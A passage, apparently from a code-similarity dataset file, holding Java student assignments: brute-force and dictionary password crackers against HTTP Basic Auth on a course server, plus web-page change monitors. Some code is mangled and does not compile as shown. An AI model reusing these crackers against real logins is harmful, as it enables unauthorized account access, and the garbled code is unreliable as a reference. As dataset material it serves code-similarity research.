(d3.getTime())/1000 + \" sec\");\n System.out.println(\"Total attempts\410 \ : \" + bruteForce1.getAttempts());\n\n }catch(MalformedURLException mue){\n\411 \ mue.printStackTrace();\n }\n\n catch(IOException ioe){\n ioe.printStackTrace();\n\412 \ }\n }\n}"413 - "\n\n\n\n\n\nimport java.util.*;\nimport java.io.*;\n\npublic class WatchDog\n\414 {\t\n\n\tpublic static void main(String args[])\n\t{\n\n Runtime rt1\415 \ = Runtime.getRuntime();\n\t Process prss1= null;\n\n try\n \416 \ {\n prss1 = rt1.exec(\"wget -R mpg,mpeg, --output-document=first.html\417 \ http://www.cs.rmit.edu./students/\");\n }catch(java.io.IOException\418 \ e){}\n\n\t MyWatchDogTimer w = new MyWatchDogTimer();\n\t Timer time = new\419 \ Timer();\n\t time.schedule(w,864000000,864000000);\n\n\t\t\n\t}\n}\n"420 - "package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\n\421 import java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\n\422 import java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n\423 \ protected String wordFile;\n\n public Dictionary()\n {\n super();\n\424 \ }\n\n public static void main(String[] args)\n {\n Dictionary\425 \ dictionary = new Dictionary();\n\n if (args.length < 3)\n {\n\426 \ System.out.println(dictionary.printUsage());\n }\n \427 \ else\n {\n dictionary.setURL(args[0]);\n dictionary.setUserName(args[1]);\n\428 \ dictionary.setWordFile(args[2]);\n\n if (args.length >\429 \ 3)\n {\n dictionary.setFileName(args[3]);\n \430 \ }\n dictionary.process();\n System.out.println(dictionary.printResult());\n\431 \ System.exit(1);\n }\n }\n\n public void process()\n\432 \ {\n attempts = 0;\n String password = \"\";\n \n \433 \ setStart(new Timestamp(System.currentTimeMillis()));\n\n BufferedReader\434 \ input = null;\n try\n {\n FileReader file = new FileReader(getWordFile());\n\435 \ \n input = new BufferedReader(file);\n \n \436 \ }\n catch (FileNotFoundException x)\n {\n System.err.println(\"\437 File not found: \" + getWordFile());\n System.exit(2);\n }\n\438 \n try\n {\n while ((password = input.readLine()) !=\439 \ null)\n {\n try\n {\n \440 \ \n attempts++;\n BasicAuthHttpRequest\441 \ req =\n new BasicAuthHttpRequest(\n \442 \ getURL(),\n getUserName(),\n \443 \ password);\n setPassword(password);\n \444 \ setEnd(new Timestamp(System.currentTimeMillis()));\n \445 \ setContent(req.getContent().toString());\n\n \446 \ \n if (getFileName() != null\n &&\447 \ getFileName().length() > 0)\n {\n \448 \ createReport();\n }\n return;\n \449 \ }\n catch (MalformedURLException e)\n \450 \ {\n e.printStackTrace();\n return;\n\451 \ }\n catch (IOException e)\n {\n\452 \n }\n }\n }\n catch (IOException x)\n\453 \ {\n x.printStackTrace();\n }\n\n \n setEnd(new\454 \ Timestamp(System.currentTimeMillis()));\n\n }\n\n public String printUsage()\n\455 \ {\n StringBuffer s = new StringBuffer();\n\n s.append(\"**\456 \ BruteForce proper usage **\\n\\n\");\n s.append(\n \"java\457 \ ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\\458 n\\n\");\n\n return s.toString();\n }\n \n public String getWordFile()\n\459 \ {\n return wordFile;\n }\n\n \n public void setWordFile(String\460 \ string)\n {\n wordFile = string;\n }\n\n}\n"461- source_sentence: "\nimport java.util.*;\nimport java.io.*;\nimport java.net.*;\n\462 \nclass BruteForce\n{\n\n public static void main (String a[])\n {\n \n final\463 \ char [] alphabet = {\n 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n \464 \ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U',\465 \ 'V', 'W', 'X',\n 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n 'g',\466 \ 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n 'o', 'p', 'q', 'r', 's', 't', 'u',\467 \ 'v',\n 'w', 'x', 'y', 'z'};\n\n String pwd=\"\";\n \n for(int i=0;i<52;i++)\n\468 \ {\n for(int j=0;j<52;j++)\n {\n for(int k=0;k<52;k++)\n {\n pwd = alphabet[i]+\"\469 \"+alphabet[j]+\"\"+alphabet[k];\n String userPassword = \":\"+pwd;\n RealThread\470 \ myTh = new RealThread(i,userPassword);\n Thread th = new Thread( myTh );\n\471 \ th.start();\n try\n {\n \n \n th.sleep(100);\n }\n \472 \ catch(Exception e)\n {} \n }\n }\n }\n\n\n}\n\n\n}\n\n\nclass RealThread\473 \ implements Runnable\n{\n private int num;\n private URL url;\n private HttpURLConnection\474 \ uc =null;\n private String userPassword;\n private int responseCode = 100;\n\475 \ public RealThread (int i, String userPassword)\n {\n try\n {\n url = new URL(\"\476 http://sec-crack.cs.rmit.edu./SEC/2/\");\n }\n catch(Exception ex1)\n {\n }\n\477 \ num = i;\n this.userPassword = userPassword;\n\n }\n \n public int getResponseCode()\n\478 \ {\n\n return this.responseCode;\n }\n\n public void run()\n {\n try\n {\n\479 \ String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());\n\480 \n uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"\481 Authorization\", \" \" + encoding);\n System.out.println(\"Reponse = \"+uc.getResponseCode()+\"\482 for pwd = \"+userPassword);\n this.responseCode = uc.getResponseCode();\n \n\483 \ if(uc.getResponseCode()==200)\n {\n System.out.println(\" ======= Password\484 \ Found : \"+userPassword+\" ========================================= \");\n\485 \ System.exit(0);\n }\n\n }\n catch (Exception e) {\n System.out.println(\"\486 Could not execute Thread \"+num+\" \");\n }\n }\n\n}\n"487 sentences:488 - "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\n\n\npublic class\489 \ PasswordCracker {\n \n \n private static final char car= 'a';\n \490 \ \n private static final char END = 'z' + 1;\n \n \n public static\491 \ final int BRUTEFORCE = 0;\n public static final int DICTIONARY = 1;\n \492 \ \n \n String urlName = null;\n \n String user = null;\n \n\493 \ String filename = null;\n \n int method;\n \n \n int attempt_counter;\n\494 \ \n \n public static void main(String[] args) {\n \n PasswordCracker\495 \ cracker = null;\n \n if ((args.length == 3) && (args[2].equalsIgnoreCase(\"\496 BRUTEFORCE\"))) {\n \n cracker = new PasswordCracker(args[0],\497 \ args[1], PasswordCracker.BRUTEFORCE, null);\n }\n else if ((args.length\498 \ == 4) && (args[2].equalsIgnoreCase(\"DICTIONARY\"))) {\n \n \499 \ cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY,\500 \ args[3]);\n }\n else {\n System.out.println(\"Syntax:\501 \ java PasswordCracker <username> <url> BRUTEFORCE \");\n System.out.println(\"\502 \ java PasswordCracker <username> <url> DICTIONARY <sourcefile> \");\n\503 \ System.exit(1);\n }\n \n cracker.run();\n \504 \ }\n \n \n public PasswordCracker(String user, String url, int method,\505 \ String file) {\n \n this.user = user;\n this.urlName\506 \ = url;\n this.filename = file;\n \n this.method = method;\n\507 \ }\n \n \n public boolean run() {\n \n String password;\n\508 \ s = 0;\n end = 0;\n \n try {\n attempt_counter\509 \ = 0;\n URL target = new URL(urlName);\n \n \510 \ switch (this.method) {\n \n case BRUTEFORCE:\n\511 \ \n s = System.currentTimeMillis();\n \512 \ \n \n for (char i =\513 \ 0; i < END; i++) {\n for (char j = 0; j < END; j++) {\n\514 \ for (char k = 0; k < END; k++) {\n \515 \ \n password = String.valueOf(i)\516 \ + String.valueOf(j) + String.valueOf(k);\n if\517 \ (performConnection(target, user, password)) {\n \518 \ \n end = System.currentTimeMillis();\n\519 \ \n System.out.println(\"\520 URL: \\t\\t\" + target +\n \"\\nUser: \\t\\\521 t\"+ user + \"\\nPassword: \\t\" + password);\n\n \522 \ System.out.println(\"Attempts: \\t\" + attempt_counter\n \523 \ + \"\\nTotal time: \\t\" + ((end - a) / 1000.0f) + \"\524 \ seconds\");\n return true;\n \525 \ }\n }\n \526 \ }\n }\n \n \n \527 \ for (char i = 0; i < END; i++) {\n for\528 \ (char j = 0; j < END; j++) {\n for (char k = 0; k\529 \ < END; k++) {\n \n \530 \ password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);\n\531 \ if (isValidPassword(target, password)) {\n \532 \ \n end =\533 \ System.currentTimeMillis();\n \n \534 \ System.out.println(\"Attempts: \\t\" + attempt_counter\n\535 \ + \"\\nTotal time: \\t\" + ((end - d) / 1000.0f)\536 \ + \" seconds\");\n return true;\n \537 \ }\n }\n \538 \ }\n }\n break;\n \539 \ \n case DICTIONARY:\n try {\n \540 \ BufferedReader buf = new BufferedReader(new FileReader(filename));\n\541 \ \n s = System.currentTimeMillis();\n\542 \ \n {\n \543 \ password = buf.readLine();\n \n \544 \ \n \n if\545 \ (password.length() == 3) {\n if (performConnection(target,\546 \ user, password)) {\n \n \547 \ end = System.currentTimeMillis();\n \548 \ \n System.out.println(\"URL:\549 \ \\t\\t\" + target +\n \"\\nUser: \\t\\t\"\550 + user + \"\\nPassword: \\t\" + password);\n \551 \ \n System.out.println(\"Attempts: \\t\"\552 \ + attempt_counter\n + \"\\nTotal time: \\\553 t\" + ((end - d) / 1000.0f) + \" seconds\");\n \554 \ return true;\n }\n \555 \ }\n }\n while (password !=\556 \ null);\n }\n catch (FileNotFoundException\557 \ e) {\n System.out.println(\"File \\\"\" + filename +\558 \ \"\\\" not found\");\n }\n catch (IOException\559 \ ioe) {\n System.out.println(\"IO Error \" + ioe);\n \560 \ }\n break;\n \n \561 \ default:\n return false;\n }\n \562 \ }\n catch (Exception e) {\n System.out.println(\"ERROR:\563 \ \" + e.getMessage());\n }\n \n end = System.currentTimeMillis();\n\564 \ System.out.println(\"Attempts: \\t\" + attempt_counter +\n \"\\\565 nTotal time: \\t\" + ((end - d) / 1000.0f) + \" seconds\");\n \n \566 \ return true;\n }\n \n \n private boolean isValidPassword(URL target,\567 \ String password) throws Exception {\n \n char letter[] = new char[3];\n\568 \ String generated = null;\n \n letter[0] = password.charAt(0);\n\569 \ for (int i = 0; i < 2; i++) {\n \n letter[1] =\570 \ password.charAt(1);\n for (int j = 0; j < 2; j++) {\n \571 \ \n letter[2] = password.charAt(2);\n for (int\572 \ k = 0; k < 2; k++) {\n \n generated =\573 \ String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);\n\574 \ \n if ((Character.isUpperCase(letter[0])\575 \ == true) ||\n (Character.isUpperCase(letter[1]) == true)\576 \ ||\n (Character.isUpperCase(letter[2]) == true)) {\n\577 \ \n if (performConnection(target,\578 \ user, generated) == true) {\n \n \579 \ System.out.println(\"URL: \\t\\t\" + target + \"\\nUser: \\t\\t\"\580 + user +\n \"\\nPassword: \\t\" + generated);\n \581 \ return true;\n }\n \582 \ }\n letter[2] = Character.toUpperCase(letter[2]);\n\583 \ }\n letter[1] = Character.toUpperCase(letter[1]);\n\584 \ }\n letter[0] = Character.toUpperCase(letter[0]);\n \585 \ }\n return false;\n }\n \n \n private boolean performConnection(URL\586 \ target, String username, String password) throws Exception {\n HttpURLConnection\587 \ connection = null;\n \n try {\n attempt_counter++;\n\588 \ connection = (HttpURLConnection) target.openConnection();\n \589 \ connection.setRequestProperty(\"Authorization\", \" \" + Base64.encode(username\590 \ + \":\" + password));\n \n switch (connection.getResponseCode()\591 \ / 100) {\n case 2:\n System.out.println(\"\592 Connected successfully\");\n return true;\n \593 \ default:\n return false;\n }\n }\n \594 \ catch (Exception e) {\n throw new Exception(\"Failed connect\595 \ \" + target);\n }\n }\n}\n"596 - "\n\n\nimport java.text.*; \nimport java.util.*; \nimport java.net.*; \nimport\597 \ java.io.*; \n\n \npublic class BruteForce { \n\n public int runProcess(String\598 \ urlString,String passwd) { \n\n int returnval = 0;\n MyAuthenticator\599 \ auth = new MyAuthenticator(passwd);\n Authenticator.setDefault(auth);\n\600 \n\t System.out.println(\"trying passord: \" + passwd);\n try{\n \601 \ URL yahoo = new URL(urlString); \n BufferedReader in =\602 \ new BufferedReader(new InputStreamReader(yahoo.openStream()));\n \603 \ String inputLine;\n while ((inputLine = in.readLine()) != null) {\n\604 \t System.out.println(inputLine);\n\t System.out.println(\"passord:\605 \ \" + passwd);\n returnval = 1;\n }\n\t in.close();\n\606 \ }catch(Exception e){ returnval = 0;}\n return returnval;\n \607 \ }\n\n public static void main(String argv[]) { \n\n String[] val =\608 \ \n{\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"\609 m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"\610 z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\611 M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"\612 Z\"};\n\n int l1 = 0;\n\n int l2 = 0;\n\n int l3 = 0;\n \n\613 \ int retval = 0;\n\n String pwd = \"\";\n\n \n BruteForce\614 \ s = new BruteForce(); \n String urlToSearch = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\615 ; \n \n for (int a = 0; a < 52; a++) {\n\n l1 = a;\n\n \616 \ pwd = val[l1];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\617 \ \n if (retval > 0) {\n System.exit(0);\n }\n }\n\618 \n\n for (int b = 0; b < 52; b++) {\n l1 = b;\n for (int c\619 \ = 0; c < 52; c++) {\n\n l2 = c;\n pwd = val[l1]+ val[l2];\n\620 \ retval = 0;\n retval = s.runProcess(urlToSearch,pwd); \n\621 \ if (retval > 0) {\n System.exit(0);\n }\n \622 \ }\n }\n\n\n for (int d = 0; d < 52; d++) {\n l1 = d;\n \623 \ for (int e = 0; e < 52; e++) {\n l2 = e;\n for (int\624 \ f = 0; f < 52; f++) {\n\n l3 = f;\n\n pwd = val[l1]+\625 \ val[l2]+ val[l3];\n retval = 0;\n retval = s.runProcess(urlToSearch,pwd);\626 \ \n if (retval > 0) {\n System.exit(0);\n \627 \ }\n }\n }\n }\n\n } \n} \n\n"628 - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\629 import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n \630 \ private String url;\n private URL currURL;\n private\631 \ URLConnection conn;\n private HoldSharedData sharedData;\n private int\632 \ noOfThread;\n private int batch;\n\n public ConnectionThread(\633 \ String pageURL, int wThread,\n int newBatch, HoldSharedData\634 \ data )\n {\n super();\n url = pageURL;\n noOfThread\635 \ = wThread ;\n batch = newBatch;\n sharedData = data;\n }\n\n\636 \ \n public void run()\n {\n try\n {\n currURL\637 \ = new URL( url );\n\n for( int i = noOfThread*batch; (i < (noOfThread\638 \ + 1)*batch) &&\n (i < sharedData.getPwdCount());\639 \ i ++ )\n {\n String pwd = sharedData.getPasswordAt(\640 \ i );\n\n conn = currURL.openConnection();\n\n \641 \ if (conn instanceof HttpURLConnection)\n {\n\t HttpURLConnection\642 \ hconn = (HttpURLConnection) conn;\n hconn.setFollowRedirects(false);\n\643 \ String cad = \" \" + based64Encoder( \":\" + pwd );\n \644 \ hconn.setRequestProperty( \"Authorization\", cad );\n\n \645 \ hconn.connect();\n\t int response = hconn.getResponseCode();\n\646 \ sharedData.setNumOfConnections();\n\n \647 \ if( response == 200 )\n {\n totalTime\648 \ = System.currentTimeMillis() -\n sharedData.getStartTime();\n\649 \ int numOfConnections = sharedData.getNumOfConnections();\n\650 \n System.out.println( \"Password is \" + pwd );\n \651 \ System.out.println( \"Total Time(seconds)=\" +\n \652 \ (double)totalTime/1000 );\n \653 \ System.out.println( \"Number Of Connections: \" +\n \654 \ numOfConnections );\n \655 \ System.exit(0);\n }\n else\n \656 \ {\n hconn.disconnect();\n \657 \ }\n }\n }\n }\n catch( MalformedURLException\658 \ mue )\n {\n String msg = \"Unable parse URL: \" + url;\n\659 \ System.err.println( msg );\n }\n catch( IOException\660 \ ioe )\n {\n System.err.println( \"I/O Error : \" + ioe );\n\661 \ }\n }\n\n private String based64Encoder( String pwd )\n {\n\662 \ \n String str = pwd;\n byte[] buf = str.getBytes();\n \663 \ String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n \664 \ return encodedStr;\n }\n} "665- source_sentence: "\n\n\n\npublic class SMTPException extends Exception {\n\n \666 \ private String msg; \n \n public SMTPException(String message)\667 \ {\n msg = message;\n }\n\n \n public String getMessage()\668 \ {\n return msg;\n }\n}"669 sentences:670 - "import java.util.*;\nimport java.net.*;\nimport java.io.*;\n\npublic class BruteForce\n\671 {\n boolean connected = false;\n int counter;\n String[] chars = {\"\672 a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\n \"i\",\"j\"\673 ,\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\n \"q\",\"r\",\"s\",\"\674 t\",\"u\",\"v\",\"w\",\"x\",\n \"y\",\"z\",\"A\",\"B\",\"C\"\675 ,\"D\",\"E\",\"F\",\n \"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"\676 M\",\"N\",\n \"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\"\677 ,\n \"W\",\"X\",\"Y\",\"Z\"};\n Vector combinations = new\678 \ Vector();\n \n BruteForce()\n {\n counter = 0;\n this.genCombinations();\n\679 \ this.startAttack();\n } \n \n public void startAttack()\n\680 \ {\n while(counter<this.combinations.size())\n {\n \681 \ connected = sendRequest();\n if(connected == true)\n {\n\682 \ System.out.print(\"The password is: \");\n System.out.println((String)combinations.elementAt(counter-1));\n\683 \ counter = combinations.size();\n }\n }\n }\n\684 \ \n public void genCombinations()\n {\n String combination =\685 \ new String();\n \n for (int x=0; x<52; x++)\n {\n \686 \ combination = chars[x];\n this.combinations.addElement(combination);\n\687 \ }\n \n for (int x=0; x<52; x++)\n {\n \688 \ for (int y=0; y<52; y++)\n {\n combination = chars[x]\689 \ + chars[y];\n this.combinations.addElement(combination);\n \690 \ }\n } \n \n for (int x=0; x<52; x++)\n \691 \ {\n for (int y=0; y<52; y++)\n {\n for\692 \ (int z=0; z<52; z++)\n {\n combination = chars[x]\693 \ + chars[y] + chars[z];\n this.combinations.addElement(combination);\n\694 \ }\n }\n } \n }\n \n public boolean\695 \ sendRequest()\n {\n Authenticator.setDefault (new MyAuthenticator\696 \ ());\n try \n {\n \t\n \tURL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\697 );\n HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();\n\698 \ urlConn.connect();\n if(urlConn.getResponseMessage().equalsIgnoreCase(\"\699 OK\"))\n {\n return true;\n }\n\700 \ \n } \n catch (IOException e) {}\n \n \701 \ return false;\n }\n \n public static void main(String [] args)\n\702 \ {\n BruteForce bf = new BruteForce();\n }\n \n \n class\703 \ MyAuthenticator extends Authenticator {\n \n protected PasswordAuthentication\704 \ getPasswordAuthentication() {\n String username = \"\";\n \705 \ String password = (String)combinations.elementAt(counter);\n \706 \ counter++;\n return new PasswordAuthentication(username, password.toCharArray());\n\707 \ }\n }\n}\n"708 - "import java.io.*;\nimport java.net.*;\nimport java.misc.*;\n\n\npublic class\709 \ Dictionary\n{\n\n public static void main (String args[]) throws IOException\n\710 \ {\n final int maxLength = 3;\n final String username = \"\";\n \711 \ final File dicFile = new File(\"/usr/share/lib/dict/words\");\n final\712 \ URL pageURL = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n\n String\713 \ password=\"\";\n BASE64Encoder encoder = new BASE64Encoder();\n boolean\714 \ notFound = true;\n HttpURLConnection conn;\n\n BufferedReader reader\715 \ = new BufferedReader(new FileReader(dicFile));\n\n while (notFound&&((password\716 \ = reader.readLine()) != null))\n {\n if(password.length()>maxLength)\n\717 \ {\n continue;\n }\n\n conn = (HttpURLConnection)\718 \ pageURL.openConnection();\n\n conn.setRequestProperty(\"Authorization\"\719 , \" \"+encoder.encode((username+\":\"+password).getBytes()));\n\n if((conn.getResponseCode())==HttpURLConnection.HTTP_OK)\n\720 \ {\n notFound=false;\n }\n\n }\n\n reader.print();\n\721 \n if(notFound)\n {\n System.out.println(\" valid password in\722 \ dictionary file.\");\n }\n else\n {\n System.out.println(\"\723 Found valid password: \\\"\"+password+\"\\\"\");\n }\n }\n}\n\n"724 - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\725 \npublic class Dictionary\n{\n\n public Dictionary()\n {\n }\n\n public static\726 \ void main(String[] args)\n {\n try\n {\n\n if (args.length !=\727 \ 3 )\n {\n System.out.println(\"Usage: java BruteForce <URL>\728 \ <UserName> <DictFileName>\");\n System.exit(1);\n }\n\n \729 \ timeStart = System.currentTimeMillis();\n\n String strPass = applyDictionary\730 \ (args[0], args[1], args [2]);\n\n timeEnd = System.currentTimeMillis();\n\731 \n System.out.println(\"\\n\\n\\n\\n\\tPass Cracked is: \" + strPass);\n\732 \ System.out.println(\"\\tTime taken is (sec):\" + String.valueOf((timeEnd\733 \ - timeStart)/1000));\n\n }\n catch(Exception e)\n {\n e.printStackTrace();\n\734 \ }\n }\n\n static String applyDictionary (String URL, String UserName, String\735 \ strUrlDictionary)\n {\n String strPass = \"\";\n\n try\n {\n\736 \ FileInputStream fIn = new FileInputStream ( strUrlDictionary );\n\737 \ DataInputStream dtIn = new DataInputStream ( fIn );\n\n \738 \ \n \n\n System.out.print(\"\\n\\n\\n Applying\739 \ Dictionary Attack: \");\n\n while (dtIn.available() > 0)\n\740 \ {\n strPass = dtIn.readLine();\n\n \741 \ if (strPass.length() != 3)\n continue;\n\n \742 \ \n \n\n System.out.print(\"\\b\\b\\b\"\743 \ + strPass );\n\n boolean boolResult = applyPass ( URL, UserName,\744 \ strPass );\n\n if (boolResult)\n {\n \745 \ dtIn.close();\n fIn.close();\n \746 \ return strPass;\n }\n }\n\n \747 \ dtIn.close();\n fIn.close();\n }\n catch (Exception\748 \ e)\n {\n e.printStackTrace();\n }\n\n return \"Could\749 \ not find match\";\n }\n\n private static boolean applyPass (String strURL,\750 \ String strUserName, String strPass )\n {\n BASE64Encoder myEncoder =\751 \ new BASE64Encoder ();\n\n try\n {\n String str = strUserName\752 \ + \":\" + strPass;\n\n String strEncode = myEncoder.encode(str.getBytes());\n\753 \n URL url = new URL (strURL);\n\n URLConnection urlConn\754 \ = url.openConnection();\n\n urlConn.setRequestProperty (\"Authorization\"\755 , \" \" + strEncode);\n\n urlConn.connect();\n\n String\756 \ strReply = urlConn.getHeaderField(0);\n\n if ( strReply.trim().equalsIgnoreCase(\"\757 HTTP/1.1 200 OK\") )\n {\n return true;\n \758 \ }\n }\n catch (Exception e)\n {\n e.printStackTrace\759 \ ();\n }\n\n return false;\n }\n}\n"760- source_sentence: "import java.io.*;\nimport java.util.*;\nimport java.text.*;\n\761 import java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends\762 \ Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t WatchDog\763 \ watcher = new WatchDog();\n\t watcher.run();\n\t}\n\n\t\n public void\764 \ run()\n {\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\765 \ DateFormat.FULL);\n twentyFourHours = 24 * 60 * 60 * 1000;\n \766 \ \n\n \t\twriteProgramLog(\"Program started at \" + longTimestamp.format(new\767 \ Date()));\n while(true)\n {\n \t\twriteProgramLog(\"Running\768 \ run at \" + longTimestamp.format(new Date()));\n compare();\n \769 \ try\n {\n sleep(twentyFourHours);\n \770 \ }\n catch(InterruptedException e)\n {\n \771 \ writeProgramLog(\"Program terminated at \" + longTimestamp.format(new\772 \ Date()));\n System.exit(0);\n }\n }\n }\773 \ \n\n\t\n private void compare()\n {\n \n \n \n \774 \ String watchDogFile = \"watchDogHash_rcroft.\";\n String watchDogPageFile\775 \ = \"watchDogPage_rcroft.html\";\n \n File watchDogLogFile = new File(watchDogFile);\n\776 \ \n if(!watchDogLogFile.exists())\n {\n \n \777 \ \n \n \n \n WebPage targetPage\778 \ = getPage();\n if(targetPage.getSuccess())\n {\n \779 \ byte[] newHash = calcHash(targetPage.getPageContents());\n \780 \ writeHash(newHash, watchDogFile);\n writePage(targetPage.getPageContents(),\781 \ watchDogPageFile);\n }\n }\n else\n {\n \782 \ try\n {\n \n \n \783 \ \n \n \n \n WebPage\784 \ targetPage = getPage();\n if(targetPage.getSuccess())\n \785 \ {\n \n byte[] oldHash = new\786 \ byte[16]; \n byte[] newHash = calcHash(targetPage.getPageContents());\n\787 \n \n DataInputStream inWatchDogFile = new\788 \ DataInputStream(new FileInputStream(watchDogFile));\n inWatchDogFile.readFully(oldHash);\n\789 \ inWatchDogFile.print();\n \n \790 \ \n \n \n \791 \ if(!java.util.Arrays.equals(oldHash, newHash))\n {\n \792 \ String differences = enumerateDifferences(watchDogPageFile,\793 \ targetPage.getPageContents());\n mail(differences);\n\794 \ writeHash(newHash, watchDogFile);\n \795 \ writePage(targetPage.getPageContents(), watchDogPageFile);\n \796 \ }\n }\n }\n catch(IOException\797 \ e)\n {\n writeProgramLog(\"Exception: \" + e);\n \798 \ }\n }\n } \n \n\n\t\n\tprivate String enumerateDifferences(String\799 \ oldPageFileName, String newPageData)\n\t{\n\t String differences = \"\";\n\800 \t File newFile = null;\n\n\t try\n\t {\n\t \n\t \n\t \801 \ newFile = File.createTempFile(\"new\", \"tmp\");\n String tempFilePath\802 \ = newFile.getAbsolutePath();\n DataOutputStream outFile = new DataOutputStream(new\803 \ FileOutputStream(tempFilePath));\n outFile.writeBytes(newPageData);\n\804 \ outFile.print();\n \n \n String commandLine\805 \ = \"diff \" + oldPageFileName + \" \" + tempFilePath;\n Process p =\806 \ Runtime.getRuntime().exec(commandLine);\n BufferedReader diffs = new\807 \ BufferedReader(new InputStreamReader(p.getInputStream()));\n String\808 \ line;\n while((line = diffs.readLine()) != null)\n differences\809 \ += line + \"\\n\";\n diffs.print();\n newFile.delete();\n\t\810 \ }\n\t catch(IOException e)\n\t {\n\t writeProgramLog(\"Exception:\811 \ \" + e);\n\t }\n\t return differences;\n\t} \n\n\t\n private void\812 \ mail(String mailMessage)\n {\n \n Vector emailAddresses = new\813 \ Vector();\n String watchDogEmailFile = \"watchDogEmail_rcroft.txt\";\n\814 \n \n File emailFile = new File(watchDogEmailFile);\n if(emailFile.exists())\n\815 \ {\n try\n {\n \n \816 \ BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new\817 \ FileInputStream(watchDogEmailFile)));\n String line;\n \818 \ while ((line = inWatchDogEmailFile.readLine()) != null)\n \819 \ {\n line = line.trim();\n if((line\820 \ != \"\") && (line != \"\\n\"))\n emailAddresses.add(line);\n\821 \ }\n inWatchDogEmailFile.print();\n \t }\n\822 \ \t catch(FileNotFoundException e)\n \t {\n \t writeProgramLog(\"\823 Exception: \" + e);\n \t }\n \t catch(IOException e)\n \t {\n\824 \ \t writeProgramLog(\"Exception: \" + e);\n \t }\n }\n\825 \ else\n {\n emailAddresses.add(\"@yallara.cs.rmit.edu.\"\826 );\n emailAddresses.add(\"rac@acslink.aone.net.\");\n }\n \827 \ \n if(emailAddresses.size() > 0) \n {\n \828 \ try\n {\n String fromAddress = \"From: \" + \"WatchDog\829 \ Program ()\" + \" <\" + System.getProperty(\"user.name\") + \"@\" + InetAddress.getLocalHost().getHostName()\830 \ + \">\";\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL,\831 \ DateFormat.FULL);\n String subject = \"Subject: [SEC project]\832 \ Notification of target file changes (\" + longTimestamp.format(new Date()) +\"\833 )\";\n for(int i = 0; i < emailAddresses.size(); i++)\n \834 \ {\n String toAddress = (String) emailAddresses.get(i);\n\835 \ try\n {\n URL mailURL\836 \ = new URL(\"mailto: \" + toAddress);\n URLConnection\837 \ mailConnection = mailURL.openConnection();\n mailConnection.setDoInput(false);\n\838 \ mailConnection.setDoOutput(true);\n \839 \ mailConnection.connect();\n PrintWriter mailWriter\840 \ = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n\841 \ mailWriter.print(\": \" + toAddress + \"\\n\");\n \842 \ mailWriter.print(fromAddress + \"\\n\");\n \843 \ mailWriter.print(subject + \"\\n\");\n mailWriter.print(mailMessage);\n\844 \ mailWriter.print();\n writeProgramLog(\"\845 \\tNotification mailed in this run.\");\n }\n \846 \ catch(MalformedURLException e)\n {\n \847 \ writeProgramLog(\"Exception: \" + e);\n }\n \848 \ catch(IOException e)\n {\n \849 \ writeProgramLog(\"Exception: \" + e);\n }\n \850 \ }\n }\n catch(UnknownHostException e)\n \851 \ {\n writeProgramLog(\"Exception: \" + e);\n \852 \ } \n } \n } \n \n\n\t\n private void writeHash(byte [] newHash,\853 \ String fileName)\n {\n try\n {\n DataOutputStream\854 \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \855 \ outFile.write(newHash, 0, newHash.length);\n outFile.print();\n\856 \ }\n catch(IOException e)\n {\n writeProgramLog(\"\857 Exception: \" + e);\n }\n } \n \n\t\n private void writePage(String\858 \ newPage, String fileName)\n {\n try\n {\n DataOutputStream\859 \ outFile = new DataOutputStream(new FileOutputStream(fileName));\n \860 \ outFile.writeBytes(newPage);\n outFile.print();\n }\n \861 \ catch(IOException e)\n {\n writeProgramLog(\"Exception:\862 \ \" + e);\n }\n } \n \n\n\t\n private void writeProgramLog(String\863 \ comment)\n {\n String fileName = \"watchDogLog_rcroft.txt\";\n \864 \ try\n {\n DataOutputStream outFile = new DataOutputStream(new\865 \ FileOutputStream(fileName, true));\n outFile.writeBytes(comment +\866 \ \"\\n\");\n outFile.flush();\n outFile.print();\n \867 \ }\n catch(IOException e)\n {\n \n \n\868 \ System.out.println(\"Exception: \" + 